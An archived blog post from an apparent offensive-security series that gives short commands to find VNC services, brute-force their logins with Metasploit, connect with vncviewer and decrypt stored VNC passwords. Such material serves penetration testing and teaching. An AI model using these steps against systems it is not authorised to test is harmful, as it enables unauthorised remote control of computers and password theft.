Day 70: Hijacking VNC (Enum, Brute, Access and Crack) By int0x33 Published: 2019-03-10 · Archived: 2026-04-05 19:58:30 UTC Press enter or click to view image in full size VNC Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction. It uses port 5900: VNC and 5901: VNC-1. Get int0x33’s stories in your inbox Join Medium for free to get updates from this writer. Remember me for faster sign in Here are simple ways to find the service, brute the service, access the service and finally crack any VNC passwords you come across. https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc Page 1 of 2 Get Banner Info nmap -p 5901 --script vnc-info $IP Brute Force with Metasploit use auxiliary/scanner/vnc/vnc_login Connect vncviewer $IP:5901 VNC through the SSH Tunnel, passing an encrypted VNC Password vncviewer -passwd secret $IP:6901 Decrypting VNC Passwords https://github.com/jeroennijhof/vncpwd vncpwd Source: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc Page 2 of 2